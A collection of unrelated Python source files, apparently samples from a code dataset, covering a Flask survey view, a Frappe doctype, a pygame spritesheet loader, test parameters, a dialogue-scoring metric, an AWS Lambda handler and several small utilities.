survey_options_list.append(form.option6.data)
if form.option7.data:
survey_options_list.append(form.option7.data)
if form.option8.data:
survey_options_list.append(form.option8.data)
# Get max survey_id so we can add survey and options to respective db tables
max_survey_id = db.session.query(func.max(Survey.id)).scalar()
new_survey = Survey(id=max_survey_id+1, survey_name=survey_name, created_by_user_id=created_by_user_id)
db.session.add(new_survey)
for option in survey_options_list:
new_survey_option = SurveyOptions(survey_id=max_survey_id+1, option_name=option)
db.session.add(new_survey_option)
# Insert the survey and survey_options into the database
db.session.commit()
flash('Added survey to database!', 'positive')
return redirect(url_for('index'))
return render_template('survey/create_survey.html', form=form, title='Create Survey')
|
nilq/baby-python
|
python
|
# coding: utf-8
import os
import sys
from threading import Thread
sys.path.append(os.path.join(os.path.dirname(__file__), '../util'))
from pluginbase import PluginBase
class NotifierBase(PluginBase):
def __init__(self):
self.modtype = 'notifier'
super().__init__()
def start_notification(self, event_id, message, datapaths=[]):
"""this method is diretry called by home-recorder"""
self.notifier_thread = Thread(target=self.notify, args=(event_id, message, datapaths))
self.notifier_thread.start()
def join(self, timeout=None):
self.notifier_thread.join(timeout)
def notify(self, event_id, message, datapaths):
"""
notify() is called indirectly by home-recorder for notifing events and errors.
Override this method in your notifier.
Arguments are:
- event_id: Unique id of the event.
- message: message string to be notified.
- datapaths: A list of abs paths.
"""
pass
|
nilq/baby-python
|
python
|
# -*- coding: utf-8 -*-
# Copyright (c) 2017, FinByz Tech Pvt. Ltd. and contributors
# For license information, please see license.txt
from __future__ import unicode_literals
import frappe
from frappe import _
from frappe.model.document import Document
from frappe.utils import add_days
class TruckPartsInventory(Document):
def validate(self):
if self.truck_part == "Battery" or self.truck_part == "Tyre":
if not self.serial_number:
frappe.throw(_("Please specify serial number"))
def before_save(self):
exp_life = frappe.db.get_value("Item", self.truck_part, 'lifespan')
self.expected_life = exp_life
if self.manufacturing_date:
self.expected_end_life = add_days(self.manufacturing_date, self.expected_life)
else:
self.expected_end_life = add_days(self.purchase_date, self.expected_life)
|
nilq/baby-python
|
python
|
import pygame
import json
class Spritesheet:
# Takes in Spritesheet file name. Assumes a png and a json file exist
def __init__(self, filename):
self.filename = filename
self.sprite_sheet = pygame.image.load(filename).convert()
self.meta_data = self.filename.replace('png', 'json')
with open(self.meta_data) as f:
self.data = json.load(f)
f.close()
# helper function for parse sprite
def get_sprite(self, x, y, w, h):
sprite = pygame.Surface((w, h))
sprite.set_colorkey((0,0,0))
sprite.blit(self.sprite_sheet,(0, 0),(x, y, w, h))
return sprite
# Takes in Sprite name and returns the selected sprite from the spritesheet
def parse_sprite(self, name):
sprite = self.data['frames'][name]['frame']
x, y, w, h = sprite["x"], sprite["y"], sprite["w"], sprite["h"]
image = self.get_sprite(x, y, w, h)
return image
|
nilq/baby-python
|
python
|
"""
This configuration file contains common data for
parametrizing various tests such as isotherms.
"""
PRESSURE_PARAM = [
(1, {}), # Standard return
(100000, {
'pressure_unit': 'Pa'
}), # Unit specified
(0.128489, {
'pressure_mode': 'relative'
}), # Mode relative
(12.8489, {
'pressure_mode': 'relative%'
}), # Mode relative%
(0.128489, {
'pressure_unit': 'Pa',
'pressure_mode': 'relative'
}), # Mode and unit specified
(3, {
'limits': (2.3, 5.0)
}), # Range specified
]
LOADING_PARAM = [
(1, {}), # Standard return
(0.001, {
'loading_unit': 'mol'
}), # Loading unit specified
(0.876484, {
'loading_basis': 'volume_gas',
'loading_unit': 'cm3'
}), # Loading basis specified
(1000, {
'material_unit': 'kg'
}), # Adsorbent unit specified
(2, {
'material_basis': 'volume',
'material_unit': 'cm3',
}), # Adsorbent basis specified
(0.0280135, {
'loading_basis': 'fraction',
}), # Fractional weight (will be 1/1000 mol * 28.01 g/mol)
(2.80134, {
'loading_basis': 'percent',
}), # Percent weight
(0.01, {
'loading_basis': 'fraction',
'material_basis': 'molar',
'material_unit': 'mmol',
}), # Fractional molar (will be 1/1000 mol * 10 g/mol)
(0.081274, {
'loading_basis': 'fraction',
'material_basis': 'volume',
'material_unit': 'cm3',
}), # Fractional volume
(
56.02696, {
'loading_basis': 'mass',
'loading_unit': 'kg',
'material_basis': 'volume',
'material_unit': 'm3',
}
), # All specified
(3.0, {
'limits': (2.3, 5.0)
}), # Range specified
]
PRESSURE_AT_PARAM = [
(1, 1, {}), # Standard return
(1, 1, {
'branch': 'ads'
}), # Branch specified
(1, 100000, {
'pressure_unit': 'Pa'
}), # Pressure unit specified
(2, 0.256978, {
'pressure_mode': 'relative'
}), # Pressure mode specified
(0.002, 2, {
'loading_unit': 'mol'
}), # Loading unit specified
(0.02808, 1.00237, {
'loading_basis': 'mass',
'loading_unit': 'g'
}), # Loading mode specified
(1000, 1, {
'material_unit': 'kg'
}), # Loading basis specified
(2, 1, {
'material_basis': 'volume',
'material_unit': 'cm3'
}), # Adsorbent basis specified
(
0.1, 0.229334, {
'pressure_mode': 'relative',
'pressure_unit': 'Pa',
'loading_basis': 'mass',
'loading_unit': 'g',
'material_basis': 'volume',
'material_unit': 'cm3',
}
), # All specified
]
LOADING_AT_PARAM = [
(1, 1, {}), # Standard return
(1, 1, {
'branch': 'ads'
}), # Branch specified
(100000, 1, {
'pressure_unit': 'Pa'
}), # Pressure unit specified
(0.256978, 2, {
'pressure_mode': 'relative'
}), # Pressure mode specified
(2, 0.002, {
'loading_unit': 'mol'
}), # Loading unit specified
(1.00237, 0.02808, {
'loading_basis': 'mass',
'loading_unit': 'g'
}), # Loading mode specified
(1, 1000, {
'material_unit': 'kg'
}), # Loading basis specified
(1, 2, {
'material_basis': 'volume',
'material_unit': 'cm3'
}), # Adsorbent basis specified
(
0.229334, 0.1, {
'pressure_unit': 'Pa',
'pressure_mode': 'relative',
'loading_basis': 'mass',
'loading_unit': 'g',
'material_basis': 'volume',
'material_unit': 'cm3',
}
), # All specified
]
|
nilq/baby-python
|
python
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import argparse
import platform
import sys
if platform.system() != 'Linux':
sys.exit(-1)
from .killer import Killer
from .utils import load_config
parser = argparse.ArgumentParser(description='ssh key killer')
parser.add_argument('-c', '--config', dest='config', metavar='config', default="/etc/ssh-key-killer/",
type=str, help="a config file or a directory contains config files")
parser.add_argument('--verify', action="store_true", help="verify the config file")
args = parser.parse_args()
if args.verify:
load_config(args.config)
else:
Killer(configfile=args.config).invalid()
|
nilq/baby-python
|
python
|
# coding: utf-8
'''
@Date : 2021-05-05
@Author : Zekang Li
@Mail : zekangli97@gmail.com
@Homepage: zekangli.com
'''
import torch
import string
import torch.nn as nn
from transformers import *
SPECIAL_TOKENS = ["<bos>", "<eos>", "<info>", "<speaker1>", "<speaker2>", "<empty>", "<pad>"]
SPECIAL_TOKENS_DICT = {'bos_token': "<bos>", 'eos_token': "<eos>", 'additional_special_tokens': ["<info>", "<speaker1>", "<speaker2>", "<empty>"], 'pad_token': "<pad>"}
def tokenize(obj,tokenizer):
if isinstance(obj, str):
return tokenizer.convert_tokens_to_ids(tokenizer.tokenize(obj))
if isinstance(obj, dict):
return dict((n, tokenize(o, tokenizer)) for n, o in obj.items())
return list(tokenize(o, tokenizer) for o in obj)
def build_input_from_dialogue(conv, tokenizer):
bos, eos, info, speaker1, speaker2, empty, pad = [x[0] for x in tokenize(SPECIAL_TOKENS, tokenizer)]
sentence_index = [0]
conv_seq = []
label_seq = []
token_type_seq = []
for i in range(len(conv)):
if len(conv_seq) + len(conv[i][:128]) + 10 > 1000:
break
if i % 2 == 0:
speaker = 0
conv_seq.append(speaker1)
else:
speaker = 1
conv_seq.append(speaker2)
label_seq.append(-100)
token_type_seq.append(speaker)
conv_seq.extend(conv[i][:128])
label_seq.extend(conv[i][:128])
token_type_seq.extend([speaker]*len(conv[i][:128]))
conv_seq.append(eos)
label_seq.append(eos)
token_type_seq.append(speaker)
conv_seq.append(empty)
label_seq.append(-100)
token_type_seq.append(speaker)
sentence_index.append(len(conv_seq)-1)
conv_seq = torch.LongTensor(conv_seq)
label_seq = torch.LongTensor(label_seq)
sentence_index = torch.LongTensor(sentence_index)
token_type_seq = torch.LongTensor(token_type_seq)
return conv_seq, label_seq, sentence_index, token_type_seq
def norm(a):
mean = torch.mean(a, dim=1).unsqueeze(1)
std = torch.std(a, dim=1).unsqueeze(1)
return (a - mean) / std
def add_punc(text):
r = ""
for i in text:
if i in string.punctuation:
r += " "
r += i
else:
r += i
return r.replace(" ", " ")
class FlowScore:
def __init__(self, model_path):
self.cuda = "cuda" if torch.cuda.is_available() else "cpu"
self.model = torch.load(model_path, map_location=self.cuda)
self.model.planing_model.device = self.cuda
self.tokenizer = GPT2Tokenizer.from_pretrained("./models/")
self.tokenizer.add_special_tokens(SPECIAL_TOKENS_DICT)
self.model.eval()
self.cos = nn.CosineSimilarity(dim=2, eps=1e-9)
def score(self, dialogue):
with torch.no_grad():
conv_seq, _, sentence_index, token_type_seq = build_input_from_dialogue(tokenize(dialogue, self.tokenizer),
self.tokenizer)
conv_seq = conv_seq.unsqueeze(0).cuda()
sentence_index = sentence_index.unsqueeze(0).cuda()
token_type_seq = token_type_seq.unsqueeze(0).cuda()
conv_hidden_state = self.model.speak_model(conv_seq, token_type_ids=token_type_seq)[0]
sentence_hidden = conv_hidden_state.index_select(1, sentence_index[0])
output, loss_plan = self.model.planing_model(sentence_hidden)
sentence_hidden_delta = sentence_hidden[:, 1:, :] - sentence_hidden[:, :-1, :]
output_delta = output[:, :-1, :] - sentence_hidden[:, :-1, :]
sentence_hidden_len = torch.sqrt(torch.sum(sentence_hidden_delta ** 2, dim=-1))
output_len = torch.sqrt(torch.sum(output_delta ** 2, dim=-1))
min_len = torch.min(sentence_hidden_len, output_len)
x = self.cos(sentence_hidden_delta, output_delta) * (min_len ** 2 / (sentence_hidden_len * output_len))
DPKS_score = torch.pow(2, -torch.mean(torch.log(((x + 1) / 2)[0, 3::2])))
return DPKS_score.item()
|
nilq/baby-python
|
python
|
import os
import json, decimal
import boto3
from boto3.dynamodb.conditions import Key, Attr
tableName = os.environ.get('ACCESS_TABLE_NAME')
def handler(event, context):
client = boto3.resource('dynamodb')
table = client.Table(tableName)
print(table.table_status)
print(event)
username = event['requestContext']['authorizer']['claims']['cognito:username']
res = table.scan(FilterExpression=Key('shared_user').eq(username))
data = res['Items']
while 'LastEvaluatedKey' in res:
res = table.scan(ExclusiveStartKey=res['LastEvaluatedKey'])
data.extend(res['Items'])
usersWithAccess = []
for entry in data:
usersWithAccess.append(entry['username'])
body = {
'users_with_access': usersWithAccess
}
response = {
"statusCode": 200,
"body": json.dumps(body),
"headers": {
"Access-Control-Allow-Origin": "*",
"Access-Control-Allow-Headers": "*"
}
}
print(response)
return response
|
nilq/baby-python
|
python
|
A_0219_9 = {0: {'A': 0.2420334938061355, 'C': -0.12964532145406094, 'E': -0.30716253311729963, 'D': -0.20136070573849837, 'G': 0.09315559829464488, 'F': 0.414085377622071, 'I': -0.11091042509341746, 'H': -0.40154576951031906, 'K': -0.11190222068525454, 'M': -0.16860437072777687, 'L': 0.20901824078912526, 'N': 0.032287878091663676, 'Q': 0.11764813950492131, 'P': -0.4510381206036012, 'S': -0.2651472265026922, 'R': -0.4731550123861466, 'T': -0.28413749083180867, 'W': 0.2955906501791419, 'V': -0.09635304020464032, 'Y': 0.7408657058985775}, 1: {'A': -0.41943263805417924, 'C': -0.6061935504333876, 'E': -0.6076150068101372, 'D': -0.607213243223602, 'G': -0.42689370995900866, 'F': -0.26210331331656417, 'I': -0.10967350782637802, 'H': -0.6288986336633852, 'K': -0.6139266374902476, 'M': 1.190384146568963, 'L': 1.4017298248353962, 'N': -0.6067032731427604, 'Q': 0.05055904458391644, 'P': -0.6281390090418096, 'S': -0.607352492311383, 'R': -0.6344244536958641, 'T': -0.4094068917461391, 'W': -0.607724675232467, 'V': -0.3341434179358044, 'Y': -0.5821559530728522}, 2: {'A': 0.03151441917923293, 'C': -0.5230670093085569, 'E': -0.43100928136539085, 'D': 0.09133983002015222, 'G': -0.10854506054292079, 'F': -0.039475930714978576, 'I': -0.25845810564074134, 'H': 0.05885721963591881, 'K': -0.3618581378273778, 'M': 0.9018137470311799, 'L': 0.2321708275679429, 'N': 0.07831164228003454, 'Q': 0.22144506774368122, 'P': 0.05214050830759903, 'S': 0.08094336297852421, 'R': -0.558514130048989, 'T': -0.15441584094409533, 'W': 0.18996836396566266, 'V': -0.5017537954964252, 'Y': 0.369764095683107}, 3: {'A': -0.28626087976730247, 'C': -0.025125042713760825, 'E': 0.47178602649403406, 'D': 0.7623297880080667, 'G': 0.3136472556573316, 'F': -0.3657171680025016, 'I': -0.21747542126833005, 'H': -0.5194043975409929, 'K': -0.293285801247425, 'M': -0.22636485330335548, 'L': -0.1553118171029022, 'N': -0.0979392609940178, 'Q': 0.17191291166213873, 'P': 0.05158066081625252, 'S': 0.10243891992817417, 'R': -0.3305725976478324, 'T': -0.2792916406115506, 'W': -0.31829212874127993, 'V': -0.47387241520285656, 'Y': -0.40070222297241603}, 4: {'A': -0.0664630090303782, 'C': 0.08906413209160546, 'E': -0.01631783995225214, 'D': 0.2811505654670672, 'G': 0.2699699503925373, 'F': -0.23462556888397043, 'I': -0.29073835177154284, 'H': -0.3009509959974252, 'K': -0.14121867364784013, 'M': 0.0678370240476132, 'L': -0.24882748064831306, 'N': 0.18968866265159356, 'Q': -0.37324808981501906, 'P': -0.09042667420234526, 'S': 0.09594153430999246, 'R': -0.5370676695087087, 'T': 0.18691516307466047, 'W': 0.7048833323442629, 'V': 0.08399414782445343, 'Y': 0.5009958670368024}, 5: {'A': 0.07878350356281144, 'C': 0.2795393513032944, 'E': -0.09436084459364735, 'D': -0.009535790747915907, 'G': -0.03321434575342667, 'F': -0.25484921353296797, 'I': 0.35957002643872255, 'H': -0.06394434795697493, 'K': -0.1414000989242711, 'M': -0.028836961840174796, 'L': 0.1073770390964023, 'N': -0.12028478909114225, 'Q': 0.07539197454994266, 'P': -0.1708262132646714, 'S': 0.2049606141156023, 'R': -0.5078537547759676, 'T': 0.07290481680957006, 'W': -0.29945826510496754, 'V': 0.1495075300850585, 'Y': 0.013283264778613241}, 6: {'A': 0.01411226130059054, 'C': 0.06692290277721402, 'E': -0.06340146779041687, 'D': 0.1746866532150916, 'G': -0.25992464000755505, 'F': 0.5009868235293345, 'I': 0.06355712998714634, 'H': 0.35077213192757506, 'K': -0.26925800741860245, 'M': -0.013849751311046675, 'L': -0.32758688479932485, 'N': -0.22385598526874687, 'Q': -0.06336166705835866, 'P': 0.47510097331107193, 'S': -0.2906131684624784, 'R': -0.47252967044892613, 'T': -0.11343812404340384, 'W': 0.221827025663051, 'V': -0.2039985639445891, 'Y': 0.29109835352637226}, 7: {'A': -0.2214844136003379, 'C': 0.253972043605802, 'E': -0.11180878646892282, 'D': 0.04866386625383542, 'G': 0.21129609322137066, 'F': 0.09675763577527521, 'I': -0.478466495950241, 'H': -0.22278119575014163, 'K': 0.0024895662503172412, 'M': -0.08637762364986003, 'L': -0.16451622726927184, 'N': 0.14658405355475607, 'Q': -0.22460008840640644, 'P': 0.06863736746483798, 'S': 0.02806708910872769, 'R': 0.17046998008080952, 'T': 0.12640810468428135, 'W': -0.325349814172603, 'V': -0.051103104718504995, 'Y': 0.4213757307211304}, 8: {'A': 0.48788428252771016, 'C': -0.02730369832594655, 'E': -0.6113264720739239, 'D': -0.6061935504333876, 'G': -4.0, 'F': -0.553306353566414, 'I': 0.3385355359756546, 'H': -0.612884043508607, 'K': -0.6261305872802506, 'M': 0.006175759526607426, 'L': 0.1606962734073028, 'N': -0.5384273463457844, 'Q': -0.530233857024553, 'P': -4.0, 'S': -0.22209665774387793, 'R': -0.6118447637583928, 'T': 0.3905794756125614, 'W': -0.6207885684222972, 'V': 1.2769558604632072, 'Y': -0.6997587692314469}, -1: {'slope': 0.10404992803361, 'intercept': -0.3897501239679909}}
|
nilq/baby-python
|
python
|
# from typing import Dict
# import os
# from unittest import TestCase, main
#
# import json
#
# from monolithcaching import CacheManager
#
#
# class TestCacheManager(TestCase):
#
# @staticmethod
# def get_meta_data(meta_data_path: str) -> Dict:
# with open(meta_data_path) as json_file:
# meta = json.load(json_file)
# return meta
#
# def test_cache(self):
# test = CacheManager()
# test.create_cache()
#
# cache_directory_check = test.worker.base_dir
# meta_file_path = test.worker.base_dir + "meta.json"
# meta_data = self.get_meta_data(meta_data_path=meta_file_path)
#
# self.assertEqual(True, os.path.isdir(cache_directory_check))
# self.assertEqual(test.worker.base_dir, test.worker.base_dir)
# self.assertEqual(None, test.worker._existing_cache)
# self.assertEqual(True, os.path.isfile(meta_file_path))
# self.assertEqual({}, meta_data)
#
# test.insert_meta(key="one", value=1)
# test.insert_meta(key="two", value=2)
#
# self.assertEqual({"one": 1, "two": 2}, self.get_meta_data(meta_data_path=meta_file_path))
# self.assertEqual({"one": 1, "two": 2}, test.meta)
#
# existing_cach_path = test.cache_path
# del test
#
# if os.environ.get("CI") is None:
# self.assertEqual(False, os.path.isdir(existing_cach_path))
#
# def test_lock(self):
# test = CacheManager()
# test.create_cache()
#
# self.assertEqual({}, test.meta)
# test.lock_cache()
# self.assertEqual({"locked": True}, test.meta)
# existing_cach_path = test.cache_path
#
# del test
#
# new_test = CacheManager()
# new_test.create_cache(existing_cache=existing_cach_path)
# self.assertEqual({"locked": True}, new_test.meta)
# self.assertEqual(True, new_test.worker._locked)
# self.assertEqual(True, os.path.isdir(existing_cach_path))
# new_test.unlock_cache()
# self.assertEqual({"locked": False}, new_test.meta)
# self.assertEqual(False, new_test.worker._locked)
# self.assertEqual(True, os.path.isdir(existing_cach_path))
#
# del new_test
#
# if os.environ.get("CI") is None:
# self.assertEqual(False, os.path.isdir(existing_cach_path))
#
#
# if __name__ == "__main__":
# main()
|
nilq/baby-python
|
python
|
def addTwoNumbers(self, l1, l2):
"""
:type l1: ListNode
:type l2: ListNode
:rtype: ListNode
"""
traversal1 = l1
traversal2 = l2
dummy = head = ListNode(0)
carry = 0
while traversal1 != None or traversal2 != None or carry != 0:
if traversal1:
carry += traversal1.val
traversal1 = traversal1.next
if traversal2:
carry += traversal2.val
traversal2 = traversal2.next
head.next = ListNode(carry % 10)
head = head.next
carry = carry / 10
return dummy.next
|
nilq/baby-python
|
python
|
# coding=utf-8
import json
from common import constant
from common import errcode
from common.mylog import logger
from dao.question.question_dao import QuestionDao
from dao.question.user_question_map_dao import UserQuestionMapDao
from handlers.base.base_handler import BaseHandler
from myutil import tools
class GetQuestionListByCategoryHandler(BaseHandler):
methods = ['POST']
def __init__(self):
expect_request_para = {
"category_id": None,
"page_num": None,
"page_size": None,
"common_param": None,
}
need_para = (
"category_id",
"page_num",
"page_size",
"common_param",
)
super(GetQuestionListByCategoryHandler, self).__init__(expect_request_para, need_para)
def _parse_and_check_parameters(self):
"""
参数校验
:return:
"""
if not super(GetQuestionListByCategoryHandler, self)._parse_and_check_parameters():
self.ret_code = errcode.PARAMETER_ERROR
self.ret_msg = "param error!"
return False
self.category_id = tools.str_to_int(self.para_map["category_id"], 0)
if self.category_id <= 0:
self.ret_code = errcode.PARAMETER_ERROR
self.ret_msg = "category param error!"
return False
self.page_num = tools.str_to_int(self.para_map["page_num"], 0)
if self.page_num <= 0:
self.ret_code = errcode.PARAMETER_ERROR
self.ret_msg = "page_num param error!"
return False
self.page_size = tools.str_to_int(self.para_map["page_size"], 0)
if self.page_size <= 0:
self.ret_code = errcode.PARAMETER_ERROR
self.ret_msg = "page_size param error!"
return False
if self.user_type == constant.USER_SOURCE_LOGIN_USER:
self.uid = self.rid
else:
self.uid = self.tid
return True
def _process_imp(self):
question_list = QuestionDao.get_by_category(self.category_id, self.page_num, self.page_size)
# 将答案json规范
for question_item in question_list:
try:
question_item["answer"] = json.loads(question_item["answer"])
except Exception, ex:
logger.error(ex, exc_info=1)
question_item["answer"] = []
continue
# 用户获取的答案记录在案
UserQuestionMapDao.insert(self.user_type, self.uid, question_item["id"])
self.ret_code = errcode.NO_ERROR
self.ret_msg = 'ok'
self.ret_data = {
"questions": question_list
}
return
|
nilq/baby-python
|
python
|
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